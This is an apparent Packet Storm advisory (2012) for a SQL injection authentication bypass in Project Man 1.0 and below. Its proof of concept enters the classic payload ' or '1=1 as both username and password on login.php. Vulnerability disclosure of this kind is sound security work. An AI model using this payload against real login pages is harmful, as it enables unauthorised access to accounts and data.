Project Man versions 1.0 and below suffer a remote SQL injection vulnerability that allows for authentication bypass.
700c4f769145ded7872d05c2d89799ca##############################################################
##Project Man <= 1.0 (Auth Bypass) SQL Injection Vulnerability
##############################################################
Author: cr4wl3r <cr4wl3r\x40linuxmail\x2Eorg>
Download: http://sourceforge.net/projects/projectman1/files/
##############################################################
PoC:
[Project Man_path]/login.php
Username: ' or '1=1
password: ' or '1=1
##############################################################
© 2012 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed
Comments
No comments yet, be the first!